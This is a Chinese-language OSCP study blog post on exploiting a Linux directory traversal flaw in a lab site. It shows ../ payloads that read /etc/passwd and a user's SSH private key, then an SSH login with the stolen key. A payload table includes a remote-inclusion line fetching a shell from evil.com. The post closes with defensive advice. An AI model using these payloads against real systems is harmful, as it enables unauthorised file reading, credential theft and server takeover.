4-2〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸目录遍历漏洞-B
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 现在,我们渐入佳境了,保持耐心,继续前行 !
𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!
→ 信息收集
→ 漏洞检测
→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥
→ 权限提升
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1 常见WEB应用攻击
1.1 目录遍历漏洞
1.1.3 Linux目录遍历漏洞的识别与利用
1.1.3.1 探测Web目录结构
1.1.3.2 识别目录遍历漏洞
1.环境配置(本地添加host条目)
2.初始访问目标URL
3.研究页面上发现的特殊链接(重要)
4.推断目录遍历漏洞
5.漏洞利用的构想与升级
1.1.3.3 利用目录遍历漏洞
1.验证漏洞存在
2.SSH密钥原理
3.利用漏洞获取SSH私钥文件
1.1.3.4 利用SSH私钥远程目标主机
1.获取私钥文本(前一节已完成)
2.本地准备
3.身份验证与登录
4.成功的前提条件与安全措施
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
1 常见WEB应用攻击
Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:
-
📁 目录遍历 - 通过操纵文件路径访问未授权资源
-
📄 文件包含漏洞 - 包含恶意文件执行代码
-
⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权
-
⚡ 命令注入 - 在输入中注入系统命令执行
1.1 目录遍历漏洞
1.1.3 Linux目录遍历漏洞的识别与利用
1.1.3.1 探测Web目录结构
步骤与方法:
-
悬停检查:遍历页面所有按钮与链接,观察URL结构。
-
链接分析:提取URL中的参数与路径信息。
-
源代码审查:检查可访问页面的源代码,寻找潜在漏洞点。
示例分析:
假设发现如下链接:
https://example.com/cms/login.php?language=en.html
信息点 | 推断内容 |
---|---|
login.php | 应用使用PHP开发,动态生成页面。 |
language 参数 | 值为en.html ,可能直接引用服务器上的文件。 |
cms 目录 | 应用位于Web根目录的子目录,路径可能为默认的/var/www/html/cms/ (Linux+Apache)。 |
通过直接访问https://example.com/cms/en.html
可验证文件是否存在,进而推测其他敏感文件路径(如/etc/passwd
、SSH密钥等)。
1.1.3.2 识别目录遍历漏洞
案例研究:Mountain Desserts(mountaindesserts.com)网页。
1.环境配置(本地添加host条目)
在Kali中更新/etc/hosts
,添加DNS映射:
2.初始访问目标URL
访问:http://mountaindesserts.com/meteor/index.php
。
为了收集关于页面结构的更多信息,我们应该悬停在所有按钮和链接上,收集关于参数和我们遇到的不同页面的信息。
向下滚动页面,并悬停在所有按钮和链接上,注意到大多数按钮和链接只链接到页面本身,如下图:
最终在页面底部,找到一个Admin的按钮,把鼠标放在这,出现了标有“Admin”的链接:
综上发现:
-
页面使用PHP(
index.php
)。 -
“Admin”的链接的URL是:
mountaindesserts.com/meteor/index.php?page=admin.php
假想:知道这个Web应用程序使用PHP和一个名为“page”的参数,所以假设这个参数用于显示不同的页面。
?page=admin.php
显示的是admin页面的内容。
3.研究页面上发现的特殊链接(重要)
接下来,我们聚焦研究并访问名为“page”的URL,来看看会发生什么。
①点击Admin的按钮:收到一个错误消息,指示admin页面目前正在维护中。
②(重要环节!)假设:由于推断出?page=admin.php
显示的是admin页面的内容,假设这里显示的内容和存在的admin.php的页面显示的内容是一样的,现在来尝试我们的猜想。
在浏览器访问:mountaindesserts.com/meteor/admin.php
页面出现的内容和 mountaindesserts.com/meteor/index.php?page=admin.php
底部呈现的红色一行内容相同的。
4.推断目录遍历漏洞
根据以上过程进行详细分析推理,如下:
-
动态包含机制:
应用程序使用
index.php
作为主入口,并通过page
参数动态加载其他页面的内容。其底层逻辑类似于以下PHP代码:<?php include($_GET['page']); ?>
这意味着:page参数的值被直接拼接进文件路径,并交由服务器执行或显示。
-
攻击面确认:
-
当访问
http://mountaindesserts.com/meteor/index.php?page=admin.php
时,服务器会尝试包含并执行admin.php
文件,并将其输出内容嵌入到index.php
页面的底部进行显示。 -
这证实了参数值 (
admin.php
) 被直接视作服务器上的一个文件路径进行处理。
-
5.漏洞利用的构想与升级
基于上述机制,攻击者可以进行远超目录遍历的更深层次攻击:
攻击类型 | 原理说明 | 示例Payload |
---|---|---|
目录遍历 | 通过../ 回溯至Web根目录后,读取系统敏感文件。 | ?page=../../../../etc/passwd |
远程代码执行(RCE) | 如果配置不当(allow_url_include=On ),参数可被设置为一个远程URL,服务器会下载并执行该URL指定的恶意脚本。 | ?page=http://evil.com/shell.txt |
本地文件包含(LFI) | 包含服务器本地的日志文件、Session文件等,并结合注入的代码实现RCE。 | ?page=/var/log/apache2/access.log |
结论:该page
参数是一个严重的未经过滤的用户输入点。它不仅允许目录遍历,更可能成为一个本地/远程文件包含(LFI/RFI)漏洞的入口,最终导致服务器被完全入侵。
1.1.3.3 利用目录遍历漏洞
书接上回,当访问 http://mountaindesserts.com/meteor/index.php?page=admin.php
时,服务器会尝试包含并执行admin.php
文件,并将其输出内容嵌入到index.php
页面的底部进行显示。
那么,把page后面的路径修改后可访问服务器的其他路径或文件,并显示在index.php
页面的底部。这里就用到了之前提及的“相对路径”。
1.验证漏洞存在
通过构造包含路径回溯字符(../
)的Payload,直接测试page
参数是否存在目录遍历漏洞。
测试用例:
访问以下URL,尝试读取系统敏感文件/etc/passwd
:
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../etc/passwd
测试结果:
-
漏洞确认:服务器返回
/etc/passwd
的文件内容,并在页面中显示。 -
结论:存在目录遍历漏洞。攻击者可以通过操纵
page
参数,访问Web根目录以外的任意文件。 -
在
/etc/passwd
文件的最后一行,注意到一个名为offsec的用户,看起来是自定义的用户。
2.SSH密钥原理
目录遍历漏洞主要用于:信息收集;主要危害在于:未授权访问敏感文件,从而导致信息泄露。这些敏感文件的权限设置很松散的情况下会导致系统敏感信息被越权访问。否则,会提示权限不足。
常见敏感文件的目标包括:
文件类型 | 路径示例 (Linux) | 潜在风险 |
---|---|---|
系统密码文件 | /etc/passwd | 获取系统用户列表,辅助暴力破解 |
应用程序配置文件 | /var/www/html/config.php | 获取数据库凭证、API密钥等 |
SSH私钥 | /home/user/.ssh/id_rsa | 直接获得服务器远程访问权限 |
日志文件 | /var/log/apache2/access.log | 可能包含敏感信息,或结合LFI实现RCE |
常见利用:
①www-data 用户/组
-
Web服务器进程(如
www-data
用户)通常权限较低,许多关键文件(如/etc/shadow
)默认无法读取。 -
然而,在实际环境中,由于配置失误、部署匆忙或安全意识不足,敏感文件权限设置宽松的情况非常普遍。这使得目录遍历漏洞往往能造成严重的实际破坏。
什么是www-data?
www-data:一个在类Unix操作系统(如Linux和Ubuntu)中使用的系统用户和组,通常与web服务器(如Apache或Nginx)相关联。专门为Web服务进程(如Apache或Nginx)设置的用户。这个用户通常用于运行Web服务器进程,以提高安全性。
www-data 既是一个用户,也是一个用户组。Web服务器进程(例如Apache)通常会以 www-data 用户身份运行,确保Web服务器能够访问相关的文件和目录,同时限制该进程的权限,避免潜在的安全漏洞。
核心特性与目的:
特性 | 说明 | 安全目的 |
---|---|---|
专用低权限账户 | 它是一个普通的、权限受到严格限制的系统用户,不是 root 用户,也不是任何具有高级特权账户。 | 权限最小化原则:即使黑客通过Web漏洞(如目录遍历、RCE)控制了服务器进程,他们所获得的权限也仅限于 www-data 这个低权限账户,无法直接接管整个系统,从而将破坏范围限制在最小。 |
进程所有者 | Web服务器主进程(及其工作线程/子进程)通常以 www-data 用户的身份运行。 | 隔离性:将Web服务与系统上的其他用户和进程隔离开来。这意味着Web服务器只能访问明确授权给它的文件和目录,无法访问其他用户的私人文件或关键系统文件。 |
文件访问控制 | Web根目录(如 /var/www/html )下的文件和目录,其所有者或组通常会被设置为 www-data ,并赋予适当的读/写/执行权限。 | 确保Web服务器能正常运行:服务器需要读取网页文件(.html, .php)、写入日志或上传文件。正确配置权限可以保证这些基本功能的同时,又不授予过多权限。 |
尽管有 www-data
这样的安全机制,目录遍历等漏洞依然能成功利用,主要原因如下:
-
宽松的权限配置 (Lax Permissions)
-
常见错误:管理员为了省事,可能会使用
chmod 777
命令,将一个敏感文件或目录的权限设置为全局可读 (world-readable)。 -
后果:这意味着系统上的任何用户(包括运行Web服务的
www-data
用户)都可以读取该文件。原本受保护的文件(如配置文件、私钥)因此暴露。
-
-
部署压力与安全意识不足
-
在快速部署或故障排查时,安全最佳实践常常被忽视。“先让它跑起来”的心态会导致配置错误,为攻击者留下可乘之机。
-
② SSH密钥原理
SSH密钥:安全远程访问的核心。它对是一种比密码更安全、更便捷的远程服务器认证方式。
🔐 SSH密钥对组成与原理
组件 | 文件名 | 特性 | 作用 | 比喻:门锁系统 |
---|---|---|---|---|
私钥 (Private Key) | id_rsa | ⚠️ 绝密文件 • 必须保存在本地客户端计算机上 • 权限必须严格限制 (通常为 600 )• 绝不能泄露给任何人 | 用来证明你的身份,是解锁访问权限的钥匙。 | 你的家门钥匙 必须随身携带,妥善保管,绝不能给别人。 |
公钥 (Public Key) | id_rsa.pub | ✅ 公开文件 • 可以自由分发 • 内容通常是一长串文本 • 没有任何安全风险 | 被放置在你想要登录的远程服务器上。用来验证与私钥是否匹配。 | 锁芯 可以安装在多个门上(多个服务器),谁有正确的钥匙(私钥)谁就能打开。 |
核心关系:公钥用于加密,私钥用于解密。服务器用你放置的公钥加密一个随机挑战,只有拥有对应私钥的你才能解密并回应这个挑战,从而完成身份验证。
📁 存储位置
在Linux/Unix系统中,SSH密钥对默认存储在用户的主目录下的隐藏文件夹/home/user/.ssh/
中。
密钥类型 | 默认路径 | 说明 |
---|---|---|
私钥 | /home/用户名/.ssh/id_rsa | 核心保护目标 |
公钥 | /home/用户名/.ssh/id_rsa.pub | 需要上传到服务器的文件 |
⚠️ 为什么它是目录遍历漏洞的重要目标?
通过目录遍历漏洞成功获取服务器的SSH私钥,意味着攻击者获得了 “皇冠上的明珠” 。其后果是灾难性的:
-
直接远程访问:攻击者可以直接使用窃取的私钥,以密钥对应用户的身份 SSH 登录到服务器,完全绕过任何密码认证。
-
权限提升:如果该私钥对应的用户是
root
或拥有sudo
权限的账户,攻击者将立即获得整个系统的最高控制权。 -
横向移动:攻击者可能利用此服务器作为跳板,访问内网中的其他信任此服务器或此密钥的机器。
3.利用漏洞获取SSH私钥文件
①在浏览器上访问:home/offsec/.ssh/id_rsa。
http://mountaindesserts.com/meteor/index.php?page=../../../../../../home/offsec/.ssh/id_rsa
恰好,SSH私钥文件权限松散,页面成功显示了用户offsec的私钥内容,虽然格式凌乱。
为什么页面输出的格式混乱呢?
在进行Web应用程序评估时,一旦我们发现了可能的漏洞,比如这种情况下的“page”参数,就不应该依赖浏览器进行测试。因为浏览器经常尝试解析或优化元素以提高用户友好性。在进行Web应用程序测试时,应该主要使用诸如Burp、curl或我们选择的编程语言等工具,得到的格式是更准确的。
②使用curl获取SSH私钥,得到格式化的SSH私钥。
1.1.3.4 利用SSH私钥远程目标主机
整个利用过程可以分为三个主要阶段,如下图所示:
1.获取私钥文本(前一节已完成)
-
方法:利用已发现的目录遍历漏洞,读取目标服务器上用户
office
的SSH私钥文件。 -
路径:
/home/office/.ssh/id_rsa
-
结果:成功获取私钥的完整文本内容。
2.本地准备
-
保存私钥:将复制出的私钥内容粘贴到Kali本地的一个文件中(例如
dt_key
)。 -
修正权限 (关键步骤):使用命令
chmod 600 dt_key
修改文件权限为600。-
原因:SSH客户端程序出于安全考虑,拒绝使用权限过于开放(如全局可读)的私钥文件。这将导致
Permissions for 'dt_key' are too open
错误。 -
要求:确保只有文件所有者拥有读/写权限(权限位
-rw-------
)。
-
3.身份验证与登录
-
命令:
ssh -i dt_key -p 2222 office@mountaindesserts.com
-
参数解析:
-
-i dt_key
:指定要使用的身份文件(私钥文件)。 -
-p 2222
:指定SSH服务端口(非默认的22端口时使用)。 -
office@...
:指定用哪个用户名登录目标服务器。这里必须使用私钥对应的用户名(office),而不是Kali本地当前的用户名。
-
4.成功的前提条件与安全措施
此攻击方式要成功,必须满足两个关键条件:
-
服务器上已部署公钥:目标用户(
office
)在服务器的~/.ssh/authorized_keys
文件中确实配置了与该私钥匹配的公钥。这是SSH密钥登录的标准配置。 -
私钥未加密:该私钥在创建时没有设置密码短语(Passphrase)。如果私钥有密码,攻击者还需要破解该密码才能使用,增加了利用难度。注:后续的文章会提及如何破解密码短语。
🔒 安全启示
-
对防御方:
-
绝不存储敏感文件于Web目录可访问之处:确保私钥、配置文件不会被Web进程读取。
-
为私钥设置强密码短语:即使私钥泄露,也能提供最后一道防线。
-
严格管理authorized_keys文件:定期审计并移除不必要的公钥。
-
-
对攻击方/测试方:
-
获取私钥后,首先检查其是否受密码保护(可用
ssh-keygen -y -f dt_key
测试)。 -
这是一个权限提升的关键步骤,从Web服务权限(
www-data
)跃升到一个真实的用户权限(office
),为进一步渗透(如提权到root)打下了坚实基础。
-
结论:通过Web漏洞获取SSH私钥并成功登录,是一次非常严重的成功入侵,往往意味着目标系统的“沦陷”。
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!